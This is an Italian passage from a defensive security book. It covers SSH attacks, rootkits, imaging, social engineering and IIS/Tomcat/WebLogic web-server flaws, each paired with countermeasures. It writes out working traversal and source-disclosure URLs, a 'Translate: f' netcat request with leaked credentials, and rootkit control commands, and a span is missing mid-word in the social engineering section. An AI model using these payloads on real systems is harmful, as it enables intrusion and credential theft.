Gli attacchi di crittoanalisi possono essere raggruppati in due classi: *passiva* e *attiva*. Gli attacchi della classe passiva sono composti da tecniche come il controllo e l'analisi del traffico, che non richiedono una manipolazione manifesta del ciphertext, del plaintext o di altri elementi o processi del sistema crittografico: sono di solito destinate alla violazione di dati confidenziali. Gli attacchi della classe attiva riguardano la falsificazione di messaggi o altri metodi per cercare di violare non solo la riservatezza ma anche l'integrità e l'autenticità dei dati. Ci sono poi le singole denominazioni degli attacchi, tra cui *ciphertext-only*, *known-plaintext*, *chosen-plaintext* e *chosen-ciphertext*, determinate in base alle informazioni che si possono ottenere sul sistema crittografico che sta per essere attaccato, e su come l'avversario possa manipolare le informazioni per compromettere la sicurezza del sistema o dell'applicazione. Allo scopo di illustrare l'impostazione mentale e il processo di crittoanalisi, forniremo

molti esempi di come questi tipi di attacchi sono stati implementati in sistemi crittografici pubblicamente visibili.

Attacchi a SSH (Secure SHell)

SSH è un protocollo sicuro per proteggere la comunicazione interattiva di un terminale remoto o il trasferimento di file su Internet, che per la codifica dei dati utilizza sistemi crittografici sia simmetrici sia asimmetrici. SSH può essere vulnerabile a un attacco passivo e MITM (*Man-In-The-Middle*, che verrà trattato successivamente), partendo dall'analisi del traffico. Questi attacchi possono rivelare informazioni sulla lunghezza della password e sui comandi digitati dall'utente, o peggio ancora possono anche compromettere il sistema.

Analisi del traffico

Diffusione:	*5*
Semplicità:	*4*
Impatto:	*6*
Fattore di rischio:	*5*

Dawn Xiaodong Song, David Wagner e Xuquing Tian di Berkeley, University of California, hanno realizzato una pubblicazione chiamata *Timing Analysis of Keystrokes and Timing Attacks on SSH* (`http://paris.cs.berkeley.edu/~dawnsong/ssh-timing.html`), che descrive vari attacchi di analisi del traffico su protocolli SSH. Solar Designer e Dug Song hanno scritto sshow (`http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt`), uno strumento che può mostrarvi la lunghezza della password e i comandi che avete digitato su Internet identificando il traffico protetto da SSH. Le informazioni ottenute possono portare a un più rapido attacco al lessico o semplicemente alla fuoriuscita di informazioni.

Contromisure all'analisi del traffico

Alcune patch (cioè rettifiche di programma che consistono nell'aggiunta o correzione di una piccola parte del programma stesso) sono messe a disposizione per diversi server e client SSH. La compressione di dati in SSH non è di molto aiuto nel prevenire questo tipo di attacchi poiché la compressione è di solito prevedibile e dipende dalla lunghezza dei dati originari. Diversi byte di riempimento di tipo null se implementati correttamente nei dati potrebbero prevenire questi attacchi di analisi del traffico.

Attacco MITM (Man-In-The-Middle)

Diffusione:	*7*
Semplicità:	*6*
Impatto:	*8*
Fattore di rischio:	*7*

Dug Song ha scritto una serie di programmi chiamati dsniff (`http://www.monkey.org/~dugsong/dsniff/`) che comprende uno strumento chiamato sshmitm,

il quale implementa l'attacco di Dug chiamato "Man-In-The-Middle" nel traffico Web SSH-protetto. Sostanzialmente il programma si pone tra il client e il server, intercetta la richiesta del client e replica con una risposta falsa del server. Nel frattempo il programma invia la stessa richiesta al server, fingendo di essere il client, e passa le informazioni dal server al client. Questo attacco può compromettere il traffico protetto da SSH. Questo strumento deve essere utilizzato con un altro chiamato dnspoof che genera false risposte DNS. Un altro programma, webmitm, applica un attacco simile contro il traffico SSL-protetto di WWW.

Contromisure all'attacco Man-In-The-Middle

Controllare le chiavi pubbliche utilizzate da ogni host SSH è la contromisura più semplice da adottare per impedire di essere attaccati da sshmitm. L'attacco da webmitm può essere ostacolato grazie all'autenticazione di certificato client.

Recupero della chiave

Diffusione:	*5*
Semplicità:	*4*
Impatto:	*5*
Fattore di rischio:	*5*

Ariel Wassbein e Augustin Azubel da CORE-SDI hanno sviluppato questo attacco per il recupero chiave contro SSH basato sull'attacco di David Bleichenbacher contro una specifica implementazione di un sistema criptato a chiave pubblica (dissertazione sul CORE che potete trovare all'indirizzo `http://www.corest.com/pressroom/advisories_desplegado.php?idxsection=10&idx=82`). Questo attacco può evidenziare la chiave utilizzata per una sessione SSH, che può essere utilizzata in un secondo tempo per decodificare il traffico protetto e compromettere il sistema.

Contromisure al recupero della chiave

Questa vulnerabilità compare solo nella versione 1 del protocollo SSH. Il problema può essere risolto in due modi: aggiornandosi all'ultima implementazione messa a disposizione dal fornitore, o utilizzando la versione 2 del protocollo SSH.

Modifica dell'ambiente di sistema: rootkit e strumenti di imaging

Finora abbiamo parlato diffusamente dei numerosi metodi che possono essere utilizzati per inserire trappole in un sistema in modo che gli utenti legittimi non abbiano alcun sospetto di quanto sta effettivamente accadendo. Tuttavia, la maggior parte dei concetti presentati finora riguardano strumenti che vengono eseguiti come normali programmi (a parte il loro fine dannoso) e che possono essere facilmente smascherati. Sfortunatamente, gli aggressori possono essere molto più cattivi. Con la sempre maggiore diffusione di conoscenze specifiche sull'architettura dei sistemi operativi, la violazione completa di un sistema sta diventando quasi banale.

Rootkit

Cosa accadrebbe se il codice stesso del sistema operativo finisse sotto il controllo di un hacker? Questa idea è maturata sulle piattaforme UNIX, in cui la compilazione del codice di sistema è talvolta un evento settimanale, per quelli più sul filo del rasoio. Come ovvia conseguenza, le suite software che hanno sostituito i trojan al posto dei file eseguibili, nei sistemi operativi più diffusi a base binaria, hanno preso il nome di rootkit, perché richiedono in genere la manomissione dell'utente root della macchina UNIX obiettivo. I rootkit di UNIX sono descritti nel Capitolo 7 e generalmente possono essere suddivisi in quattro gruppi di strumenti, appositamente compilati per quel tipo e per quella versione UNIX: 1) cavalli di Troia, per esempio versioni alterate di `login`, `netstat` e `ps`; 2) backdoor come `inetd`; 3) sniffer che si connettono a diversi dispositivi; 4) strumenti per la "pulizia" del log di sistema.
Per avere un'idea della quantità di rootkit UNIX attualmente disponibili, visitate l'indirizzo `http://packetstormsecurity.org/UNIX/penetration/rootkits/` (altri sono disponibili nella directory /UNIX/misc dello stesso sito). Il rootkit Linux versione 5 (LRK5) è probabilmente uno dei più conosciuti, e tra le altre cose vanta versioni backdoor di alcune utility di shell critiche, tra cui `su`, una versione trojan di `ssh` e diversi sniffer.
Per non essere da meno, Windows NT/2000 ha avuto il suo rootkit nel 1999, per gentile concessione del gruppo di Greg Hoglund (`http://www.rootkit.com`). Greg ha tenuto la comunità Windows sulle spine dimostrando il funzionamento di un rootkit per Windows che consente di nascondere le chiavi del Registro di sistema ed eseguire il reindirizzamento degli eseguibili; questo rootkit può inoltre essere utilizzato per creare versioni trojan dei file eseguibili senza alterare il loro contenuto. Tutti i trucchi adottati da un rootkit sono basati sulla tecnica denominata "aggancio della funzione" (in inglese "Function hooking"): modificando il kernel NT in modo da poter usurpare le chiamate di sistema, il rootkit è in grado di nascondere un processo, una chiave del Registro di sistema o un file, oppure può reindirizzare le chiamate a funzioni trojan. Il risultato è ancora più insidioso di un rootkit in stile trojan, in quanto l'utente non può mai essere sicuro dell'integrità del codice che viene eseguito.

Contromisure al rootkit

Quando non potete più fidarvi neanche del comando `ls` o `dir`, è ora di gettare la spugna: eseguite la copia di riserva dei dati critici (non dei file eseguibili!), cancellate tutto e reinstallate il software da supporti affidabili. Non confidate sulle copie di riserva in vostro possesso: è impossibile sapere quando il pirata ha acquisito il controllo del sistema, pertanto rischiereste di ripristinare software già attaccato da un trojan.
A questo punto è importante sottolineare una delle regole d'oro sulla sicurezza e sul ripristino della situazione iniziale dopo una calamità: condizioni note e ripetibilità. I sistemi di produzione spesso richiedono un ripristino veloce, pertanto è indispensabile disporre di una procedura di installazione ben documentata e il più possibile automatizzata. Anche l'immediata disponibilità di supporti di ripristino affidabili è particolarmente importante. Masterizzare un CD-ROM contenente l'immagine di un server Web completamente configurato permette di risparmiare una notevole quantità di tempo. Poiché durante il processo di costruzione di un sistema o nella sua fase di manutenzione è necessario scendere a compromessi

sulla sicurezza (abilitazione di condivisione di file e così via), è necessario configurare la modalità di produzione in confronto a quella di rappresentazione. Accertatevi di disporre di un elenco numerato o di uno script automatizzato per tornare alla modalità di produzione.

Eseguire il checksum del codice è un altro valido mezzo di difesa contro tecniche di attacco come i rootkit, ma è necessario partire da uno stato originale, non danneggiato. Strumenti come il programma gratuito MD5sum o Tripwire (illustrato in precedenza) possono ricostruire il profilo dei file, permettendo di rilevare eventuali violazioni di integrità quando si verificano modifiche. In teoria, il reindirizzamento degli eseguibili operato da rootkit per NT/2000 dovrebbe essere in grado di aggirare le contromisure basate su checksum, in quanto il codice in questione non è alterato, ma agganciato e pilotato da un altro eseguibile.

Poiché lo scopo principale della versione del rootkit per NT/2000 è quello di dimostrare le funzionalità chiave, piuttosto che tutti gli stratagemmi disponibili, è abbastanza facile identificarlo. Andate alla ricerca di `deploy.exe` e `_root_.sys`. È possibile avviare e interrompere il rootkit utilizzando il comando net seguente:

```
net start _root_
net stop _root_
```

Inoltre, non è nostra intenzione sorvolare su uno dei componenti del rootkit più dannosi, installato in genere su un sistema manomesso: gli sniffer. Questi strumenti di ascolto del traffico di rete sono particolarmente insidiosi, in quanto sono in grado di manomettere altri sistemi che si trovano sul segmento di rete locale, registrando le password che transitano sul cavo durante le normali operazioni di autenticazione.

Come se non l'avessimo già ripetuto abbastanza, ogniqualvolta è possibile vi consigliamo di utilizzare gli strumenti di cifratura delle comunicazioni, come per esempio Secure Shell (SSH), Secure Sockets Layer (SSL), Pretty Good Privacy (PGP) o strumenti di cifratura dello strato IP, come quello fornito dai prodotti VPN (*Virtual Private Network*) basati su IPSec (si veda il Capitolo 9). Questo è l'unico metodo quasi infallibile per evitare gli attacchi per intercettazione del traffico di rete; anche l'adozione di tipologie di rete commutate può contribuire a ridurre il margine di rischio, ma la protezione totale non può essere garantita quando in giro ci sono strumenti come `dsniff` (Capitolo 7).

Strumenti di imaging per aggirare i checksum

Ci sono diversi strumenti che possono essere utilizzati per creare immagini speculari dei volumi di sistema (Tabella 14.3): si tratta di strumenti molto potenti, che consentono un certo risparmio di tempo e la cui utilità è inestimabile quando si verifica una situazione critica, ma la cui precisione nel catturare lo stato del sistema può essere utilizzata per ingannare i meccanismi di sicurezza basati sul checksum dei dati di sistema.

Ovviamente, questi tipi di attacchi richiedono tutti l'accesso completo al sistema, perché tutte le procedure elencate nella Tabella 14.3 richiedono almeno il riavvio del sistema o la rimozione fisica dei dischi rigidi. Anche se un aggressore ottiene un accesso di questo tipo al sistema, l'attacco è in ogni caso piuttosto difficile da portare a termine (tornate indietro e rileggete il paragrafo sui rootkit se avete dubbi). Ipotizziamo, tuttavia, un'applicazione che faccia affidamento sulle informazioni di sistema, come per esempio elementi nell'elenco dei processi, utilizzo della CPU e così via, per creare checksum sui dati utilizzati in seguito per autorizzare

un qualche tipo di transazione. Se in un dato istante viene creata un'immagine dello stato del sistema, è possibile alterare il checksum e ripristinare una copia perfetta del sistema senza che nessuno se ne accorga. L'applicazione non sarebbe a conoscenza dell'avvenuta transazione e gli utenti potrebbero liberamente utilizzare l'applicazione per eseguire il processo di creazione dell'immagine tutte le volte che lo desiderano.

Tabella 14.3 Tecnologie per la copia dello stato del sistema e relativi prodotti

Tecnologia	Prodotto	URL
Dispositivi hardware per la duplicazione dei dischi	Image MASSter	`http://www.ics-iq.com`
	OmniClone line	`http://www.logicube.com`
Strumenti software di clonazione dei dischi	Drive Image	`http://www.powerquest.com`
	FlashClone	`http://www.ics-iq.com`
	ImageCast	`http://www.innovativesoftware.com`
	Norton Ghost	`http://www.symantec.com`
	RapiDeploy	`http://www.altiris.com`
Dischi virtuali protetti da scrittura	VMWare	`http://www.vmware.com`
Strumenti di ripristino del sistema	SecondChance (solo Windows 9*x*)	`http://www.powerquest.com`

Contromisure all'imaging del sistema

La sicurezza fisica dei sistemi dovrebbe essere sempre al primo posto nell'elenco delle priorità relative alla sicurezza. Le porte bloccate in modo corretto eliminano probabilmente la possibilità di attacchi per clonazione o imaging.
Nell'esempio di attacco per rifiuto visto in precedenza le cose si complicano leggermente: le tecniche di non rifiuto integrate nelle applicazioni devono essere progettate in modo da non fare affidamento su componenti software dello stato di sistema come elementi nell'elenco dei processi, footprint del file system o altri elementi che possono essere facilmente ricreati utilizzando strumenti di imaging. Se il produttore di un'applicazione non è disponibile a fornire dettagli tecnici sull'implementazione del non rifiuto, vi consigliamo di cercare alternative.

Ingegneria sociale

Diffusione:	*10*
Semplicità:	*10*
Impatto:	*10*
Fattore di rischio:	*10*

L'argomento finale che affronteremo in questo capitolo, dedicato alle tecniche di hacking avanzate, è quello che suscita il maggior timore tra coloro che si trovano sul lato protetto di un firewall: l'ingegneria sociale. Anche se riteniamo si tratti di uno dei termini più infelici del gergo degli hacker, la definizione "ingegneria socia-

mati, semplicemente spacciandoci per il gruppo di supporto tecnico interno. Fare pesare la propria autorità, come direttore dell'IT o come parte del supporto tecnico, è sempre molto efficace.

Contromisure agli attacchi basati sull'ingegneria sociale

Abbiamo presentato numerosi tipi di attacco, alcuni dei quali apparentemente incontenibili e difficili da contrastare (come per esempio le ricerche libere su Internet). Anche se pensiamo che anticipare ogni possibile attacco per ingegneria sociale sia praticamente impossibile, faremo del nostro meglio per evidenziare alcuni metodi di difesa che abbiamo trovato efficaci.

- **Limitate la fuoriuscita dei dati.** Siti Web, database pubblici, pagine gialle e così via, dovrebbero tutti contenere informazioni generiche, come per esempio i numeri di telefono principali dell'azienda e descrizioni di funzioni generiche, anziché nomi di dipendenti (per esempio, "Responsabile di zona" invece di "Mario Rossi").
- **Stabilite una politica rigorosa per le procedure di supporto tecnico interne ed esterne.** A tutti gli interlocutori devono essere richiesti ulteriori dati di identificazione, come il numero di matricola, prima di ricevere supporto. Inoltre, i gruppi di supporto devono fornire assistenza solo per attività ben definite e non devono rispondere a domande generiche sulle tecnologie adottate all'interno dell'azienda. Definite procedure particolareggiate di acquisizione delle informazioni, per quelle eccezioni che sicuramente si presenteranno.
- **Siate cauti al limite della paranoia, per quanto riguarda gli accessi remoti.** Ricordate che i privilegi di accesso remoto sono un grande vantaggio per la produttività, ma anche per i potenziali hacker. Per suggerimenti sulla sicurezza delle connessioni di accesso remoto si veda il Capitolo 8.
- **Prestate nella creazione dei controlli firewall in uscita e di accesso al router la stessa attenzione dedicata a quelli in entrata.** Questo scoraggerà i tentativi di ingannare gli utenti mappando all'esterno le informazioni sulla condivisione dei file. L'abitudine di eseguire una pulizia costante acquista un'importanza fondamentale (l'ultima regola su ogni elenco di controllo di accesso dovrebbe specificare di negare tutto a tutti).
- **Utilizzate la posta elettronica in modo sicuro.** Imparate a risalire al percorso di un messaggio utilizzando gli header (potete trovare una indicazione su come configurare molti client di posta elettronica per visualizzare gli header dei messaggi all'indirizzo Web `http://spamcop.net`). Per ulteriori informazioni, si veda il Capitolo 16.
- **Istruite i dipendenti fornendo loro le nozioni base sulla sicurezza dei sistemi informatici.** Stabilite un programma per la sicurezza, pubblicizzatelo all'interno dell'organizzazione e addestrate i vostri impiegati a rispondere alle domande dei colleghi e a non dare nulla per scontato. La RFC 2196, The Site Security Handbook, è un ottimo punto di partenza per sviluppare una politica di sicurezza. Tutti gli utenti Internet dovrebbero leggere anche la RFC 2504, che accompagna la RFC 2196. Entrambe sono disponibili all'indirizzo Web `http://www.rfc-editor.org`.

Capitolo 15

Hacking del Web

Malgrado un breve rallentamento nella prima parte del nuovo millennio, il World Wide Web continua ad espandersi a un ritmo di gran lunga superiore alle aspettative della maggior parte dei suoi utenti abituali. I sistemi legacy (tradizionali) vengono soppiantati da applicazioni dinamiche, compatibili con i browser Web, ospitate da server Web che attingono al pozzo senza fondo dei database backend. La continua diffusione dell'accesso a Internet a banda larga ha reso più ricca l'esperienza del navigatore favorendo l'aggiunta di nuove potenti funzionalità multimediali. Inoltre i notevoli progressi messi a segno dalle tecnologie wireless hanno conferito alle applicazioni Web un nuovo aspetto: possono essere eseguite ovunque e in qualsiasi momento.

Tuttavia, al lancio di ogni nuova applicazione Web e di ogni sito di e-business che utilizza una pila di server, vi sono hacker malintenzionati in agguato. In effetti, l'enorme diffusione del Web lo ha reso il bersaglio principale delle attenzioni dei malintenzionati di tutto il mondo. Con la rapida espansione del Web e con firewall relativamente impotenti a bloccare ingegnosi aggressori che dirottano il traffico legittimo sulla "porta 80", le cose possono solo peggiorare. In questo capitolo cercheremo di definire la portata del fenomeno dell'hacking del Web e di mostrarvi come potete evitare di diventare un altro "caso" citato nelle statistiche dei siti attaccati negli ultimi anni. Il nostro approccio difensivo si articola su due direttrici, corrispondenti alle due parti che compongono questo capitolo: l'hacking dei server Web e quello delle applicazioni Web.

Hacking dei server Web

Il termine "hacking dei server Web" indica lo sfruttamento da parte di un aggressore dei punti vulnerabili insiti nel software del server Web (o di uno dei suoi componenti aggiuntivi). Questi tipi di vulnerabilità sono di solito ampiamente pubblicizzati e facilmente rilevabili e attaccabili. Un aggressore che disponga di un corredo opportuno di tool e di attacchi pronti all'uso può mettere in crisi un server Web vulnerabile in pochi minuti. Alcuni dei worm Internet dagli effetti più devastanti scoperti finora hanno sfruttato vulnerabilità di questo tipo (per esempio, i due worm più ingordi degli ultimi tempi, Code Red e Nimda, sfruttano entrambi vulnerabilità contenute nel software del server Web IIS di Microsoft).

Le vulnerabilità dei server Web possono essere classificate in una delle categorie seguenti:

- divulgazione del codice sorgente;
- canonicalization;
- WebDAV;
- overflow del buffer.

Questo paragrafo si articola in diversi sottoparagrafi dedicati a tali argomenti.

Divulgazione del codice sorgente

Gli attacchi basati sulla divulgazione del codice sorgente consentono a un utente malintenzionato di leggere il codice sorgente di file di applicazioni su un server Web vulnerabile. In alcuni casi, l'aggressore può combinare questa tecnica con altre per visualizzare importanti file protetti come, per esempio, `/etc/passwd, global.asa`.

Vulnerabilità di showcode.asp e codebrws.asp

Diffusione:	*3*
Semplicità:	*8*
Impatto:	*4*
Fattore di rischio:	*5*

Il primo punto debole che consente la visualizzazione dei file di cui parleremo è tipico di IIS 4.0 e consente all'hacker di scaricare il codice sorgente ASP. In questo caso non si tratta di un baco vero e proprio, quanto piuttosto di un esempio di cattiva programmazione: il codice campione è stato installato di default. Si tratta di una delle classi più comuni di vulnerabilità nei server Web.
Se durante l'installazione predefinita di IIS 4.0, si richiede l'installazione del codice ASP di esempio, sulla macchina vengono riportati file sviluppati in modo perlomeno discutibile, che permettono all'hacker di scaricarne i sorgenti. Il problema è legato all'incapacità, da parte dello script, di limitare l'utilizzo di `".."` nella definizione del percorso del file. Per esempio, il seguente exploit `showcode.asp` visualizza il contenuto del file `boot.ini` del sistema interessato. (Se il controllo sugli accessi non è rigoroso, questa tecnica permette di visualizzare qualsiasi file.)

```
http://192.168.51.101/msadc/Samples/SELECTOR/showcode.asp?source=/../..
/../../../boot.ini
```

Come per `showcode.asp`, l'exploit ottenuto con il file codebrws.asp consente di visualizzare qualsiasi file memorizzato sull'unità locale. Come già detto nel Capitolo 13, è possibile individuare i file CIF degli utenti pcAnywhere:

```
http://192.168.51.101/iissamples/exair/howitworks/codebrws.asp?source=
/../../../../../winnt/repair/setup.log
```

Questo problema è emerso solo dopo un certo tempo. `codebrws.asp` ha fatto la sua comparsa anche in IIS 5.0, nella directory degli script campione (`/IISSAMPLES`). Tuttavia questo script (`CodeBrws.asp`) non filtra in modo adeguato le rappresentazioni Unicode degli attraversamenti delle directory. Per esempio, un aggressore può

uscire dalla directory degli script campione sostituendo `%c0%ae%c0%ae` a `..` in un attacco "punto-punto-barra" di attraversamento delle directory:

```
http://localhost/iissamples/sdk/asp/docs/CodeBrws.asp?Source=
/IISSAMPLES/%c0%ae%c0%ae/default.asp
```

Occorre sottolineare che un aggressore può anche creare una mappa della struttura delle directory del server Web richiedendo file con URL simili a questo. Si verificheranno errori qualora le ipotesi sul percorso o sul nome del file non siano corrette.

Se sono presenti entrambe le vulnerabilità showcode.asp e codebrws.asp è impossibile scaricare in modo corretto i file eseguibili dal sistema obiettivo: questo è dovuto alla tipica traduzione seguita dallo script ASP. La traduzione dei caratteri di un file come SAM._ corrompe il file rendendolo inutilizzabile: questo potrebbe anche non fermare un hacker esperto, che può essere in grado di ricostruire il file SAM e utilizzare l'informazione recuperata.

Contromisura a showcode.asp e codebrws.aso

Evitate innanzitutto di installare file campione sui server Web di produzione! La patch e il relativo articolo nella Knowledge Base (Q232449) sono disponibili al sito `ftp://ftp.microsoft.com/bussys/IIS/iis-public/fixes/usa/Viewcode-fix/`. Non esiste, invece, una patch per IIS 5.0, per cui dovete semplicemente eliminare il file codebrws.asp (per ulteriori informazioni, consultate il sito `http://online.securityfocus.com/bid/4525/`).

Divulgazione del codice sorgente JSP di Apache e BEA

Diffusione:	*6*
Semplicità:	*8*
Impatto:	*4*
Fattore di rischio:	*6*

Questa serie di vulnerabilità è piuttosto simile a quella della divulgazione del codice sorgente +.htr in IIS 5.0, di cui si è parlato nel Capitolo 5. Così come per l'accodamento di +.htr a una richiesta di file Microsoft ASP (*Active Server Pages*), quando si accodano speciali caratteri a richieste di JSP (*Java Server Pages*) su server Web Weblogic di BEA o Tomcat di Apache, viene restituito il codice sorgente della JSP al posto dell'output riprodotto dinamicamente della pagina. Ecco alcuni esempi di URL:

```
http://www.weblogicserver.example/index.js%70
http://www.tomcatserver.example/examples/jsp/num/numguess.js%70
```

Contromisure alla divulgazione del codice JSP

In Apache Tomcat 4.0 Beta 3 e nelle versioni successive si è cercato di eliminare questo baco (`http://jakarta.apache.org`). Nel caso di BEA Weblogic, procuratevi la patch opportuna per la vostra versione dal comunicato "BEA02-03.03" disponibile all'indirizzo `http://dev2dev.bea.com/resourcelibrary/advisories.jsp?highlight=advisoriesnotifications`.

Attacchi di canonicalization

Spesso le risorse di computer e di rete possono essere indirizzate mediante diversi tipi di rappresentazione. Per esempio, è possibile accedere al file C:\text.txt mediante la sintassi `..\text.txt` o `\\computer\C$\text.txt`. La risoluzione di una risorsa su un nome standard, o nome canonico, è detta canonicalization. Le applicazioni contenenti meccanismi decisionali basati sul nome della risorsa possono essere facilmente tratte in inganno e indotte a effettuare azioni impreviste, mediante i cosiddetti attacchi di canonicalization.

Vulnerabilità di ASP::$DATA

Diffusione:	*6*
Semplicità:	*8*
Impatto:	*4*
Fattore di rischio:	*6*

Questo problema, rilevato inizialmente da Paul Ashton su BugTraq, anziché fare in modo che le pagine ASP siano riprodotte dinamicamente dal motore ASP di IIS, consente all'hacker di scaricare i sorgenti ASP delle pagine Web. L'exploit si è diffuso rapidamente grazie alla sua semplicità. È sufficiente utilizzare il seguente URL per la richiesta di una pagina ASP:

```
http://192.168.51.101/scripts/file.asp::$DATA
```

Se l'exploit funziona, il browser Netscape chiede dove salvare il file, mentre Internet Explorer di default ne mostra il contenuto nella finestra del browser. Una volta salvato il file, è possibile esaminarlo con un qualunque editor di testo.
Per maggiori informazioni su questo problema, vi rimandiamo a `http://www.online.securityfocus.com/bid/149`.

Contromisure per ASP::$DATA

Procuratevi la patch opportuna per la vostra versione di IIS (non dimenticate di applicare la patch a Personal Web Server se eseguite NT Workstation, Windows 2000 Professional, o Windows XP). IIS 5.0 e le versioni successive non sono vulnerabili a questo baco. Se eseguite IIS 4.0, scaricate l'ultima rollup (o patch cumulativa) per IIS all'indirizzo `http://www.microsoft.com/technet/security/current.asp`.

Vulnerabilità di Web DAV

WebDAV (*Web Distributed Authoring and Versioning*) è un'estensione del protocollo HTTP. Sostanzialmente, WebDAV consente il Web authoring distribuito tramite una serie di header e metodi HTTP che possono creare, copiare, cancellare, spostare o cercare risorse, nonché definire e cercare proprietà di risorse. Come potete immaginare, queste funzionalità sono molto pericolose se cadono nelle mani sbagliate (in quelle di un hacker malintenzionato). In questo paragrafo sono presentati alcuni esempi di abusi di implementazioni comuni del WebDAV. Mentre scriviamo, il WebDAV di Microsoft è l'implementazione maggiormente attaccata, poiché è integrata in Web Server di Microsoft versione 5 e successive.

Vulnerabilità "Translate: f" di IIS 5

Diffusione:	*5*
Semplicità:	*9*
Impatto:	*4*
Fattore di rischio:	*6*

I punti deboli di IIS del tipo showcode continuano a presentarsi. Il problema `Translate: f`, di cui ha parlato in Bugtraq Daniel Docekal, è un esempio particolarmente chiaro di cosa succede quando un hacker invia un input inatteso, costringendo il server Web a fornire un file che normalmente non fornirebbe; questo è il classico attacco verso protocolli di servizio di documenti come HTTP.

La vulnerabilità `Translate: f` è utilizzata inviando una richiesta HTTP GET scorretta, per uno script lato server eseguibile o un tipo di file correlato (per esempio Active Server Pages, .ASP o global.asa). Questi file sono ideati per essere eseguiti sul server e non per essere lanciati sul client. La richiesta induce IIS a inviare il contenuto del file al client remoto, invece di eseguirlo utilizzando l'adeguato file di scripting.

Gli aspetti chiave della richiesta HTTP GET includono un titolo specializzato con `Translate: f` alla fine e un backslash (\) apposto alla fine dell'URL specificato nella richiesta. Di seguito viene mostrato un esempio. (La notazione `[CRLF]` rappresenta i caratteri del tasto di ritorno carrello/avanzamento linea, 0D 0A in esadecimale, che di solito non sarebbe visibile.) Notate il backslash trailing dopo `GET global.asa` e il titolo `Translate: f`:

```
GET / global.asa\ HTTP/1.0
Host: 192.168.20.10
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
Translate: f
[CRLF]
[CRLF]
```

Inviando un file contenente questo testo attraverso `netcat` a un server vulnerabile, come illustrato di seguito, il file */global.asa* è visualizzato sulla riga di comando:

```
D:\>type trans . txt ¦ nc -nvv 192.168.234.41 80
(UNKNOWN) [192.168.234.41] 80 (?) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 23 Aug  2000  06:06:58  GMT
Content-Type: application/octet-stream
Content-Length: 2790
ETag: "0448299fcd6bf1:bea"
Last-Modified: Thu, 15 Jun 2000 19:04:30 GMT
Accept-Ranges: bytes
Cache-Control: no-cache
<!-Copyright 1999-2000 bigCompany.com - - >
("ConnectionText") = "DNS=Phone; UDI=superman; Password=test;"
("ConnectionText") = " DNS=Backend; UDI=superman; PWD=test"
("LDAPServer") = "LDAP://ldap.bigco.com:389"
("LDAPUserID") = "cn=Admin"
("LDAPPwd") = "password"
```

Abbiamo editato i contenuti del file global.asa recuperati in questo esempio per mostrare alcuni dei contenuti più interessanti nei quali un hacker può imbattersi. Purtroppo è vero che molti collocano password di applicazione hard-code in file .ASP e .ASA e questo si verifica dove il rischio di penetrazione è maggiore. Come si può vedere dall'esempio precedente, l'hacker che ha ottenuto questo specifico file .ASA si è guadagnato delle password per molteplici server back-end tra cui un sistema LDAP.
Su Internet sono disponibili degli script Perl di exploit che semplificano i precedenti basati su `netcat` (abbiamo usato .pl fornito da Roelof Temmingh e `srcgrab.pl` fornito da Smiler).
`Translate: f` nasce da un problema con il WebDAV, che viene implementato come un filtro ISAPI chiamato httpext.dll e interpreta le richieste del Web *prima* che lo faccia il core del motore IIS. Il comando `Translate: f` segnala al filtro WebDAV di gestire la richiesta, mentre i backslash che seguono confondono il filtro, in modo che questo invii la richiesta direttamente al sistema operativo sottostante. Windows 2000 fortunatamente restituisce il file al sistema dell'hacker, invece di eseguirlo sul server.
Questo rappresenta anche un altro esempio di un problema di *canonicalization* (di cui abbiamo parlato in precedenza in questo capitolo).
Specificare una delle forme equivalenti di un nome di file canonico in una richiesta potrebbe avere come effetto la gestione delle funzionalità di IIS o del sistema operativo. La vulnerabilità ::$DATA, precedentemente menzionata, è un buon esempio di problema di canonicalization: richiedere lo stesso file con un nome differente fa sì che il file venga restituito al browser in un modo inaspettato.
Sembra che `Translate: f` lavori in modo simile: confondendo WebDAV e specificando "false" per translate, il flusso del file viene restituito al browser.

Contromisure per "Translate: f"

Un buon modo per gestire il rischio posto da `Translate: f` consiste nel presupporre che ogni file lato server eseguibile su IIS sia visibile agli utenti Internet e non memorizzare mai informazioni sensibili in questi file. Non siamo sicuri che ciò dipenda dal fatto che le vulnerabilità showcode compaiono così spesso ma, a ogni modo, Microsoft consiglia questa condotta come se si trattasse di una "normale raccomandazione di sicurezza", nel suo bollettino dedicato a questo argomento.
Ovviamente, Microsoft consiglia di scaricare la patch (inclusa anche nel Service Pack 1 di Win 200) dal sito `www.microsoft.com/technet/security/bulletin/MS00-058.asp`. Essa presumibilmente fa in modo che IIS interpreti uno script lato server eseguibile, e tipi di file correlati, utilizzando l'adeguato interprete di scripting lato server, indipendentemente dal comando che viene inviato.
Come evidenziato da Russ Cooper di NT Bugtraq, quando si traffica con `Translate: f` devono essere presi in considerazione importanti problemi relativi al controllo delle versioni dei sistemi operativi: una patch precedente per IIS 4, per esempio, in effetti risolve il problema. Riassumendo:

- un problema correlato con IIS 4.0/IIS 5.0 e le directory virtuali su UNC viene gestito con MS00-019 e, di conseguenza, i sistemi IIS 4 non sono attaccabili, a patto che sia stato applicato questa patch più vecchia;
- i sistemi IIS 5.0 (con o senza MS00-019) trovano soluzione con SP1, o MS00-058.

Notate che se dei permessi di accesso sulla directory virtuale IIS (che contiene il file bersaglio) vengono impostati a qualcosa di più ristretto che Read, verrà comunque inviato un messaggio di errore "HTTP 403 Forbidden" agli attacchi di `Translate: f`

(anche nel caso in cui sia abilitata l'opzione *Mostra Codice Sorgente*). Se nelle directory virtuali che contengono file avanzati vengono impostati a Read i permessi di accesso, questi saranno probabilmente visibili a questo exploit.
Un ultimo consiglio: prendete in seria considerazione l'ipotesi di disattivare WebDAV su IIS 5 se non lo state utilizzando. L'articolo di Microsoft Knowledge Base che potete leggere all'indirizzo `http://support.microsoft.com/default.aspx?scid=KB;EN-US;Q241520&` spiega come procedere.

Buffer overflow

Come abbiamo rilevato in diverse parti di questo libro, il temuto attacco basato sull'overflow del buffer rappresenta il colpo di grazia dell'hacker. In opportune condizioni, gli overflow del buffer consentono di eseguire comandi arbitrari sulla macchina violata, generalmente con livelli di privilegio molto elevati.
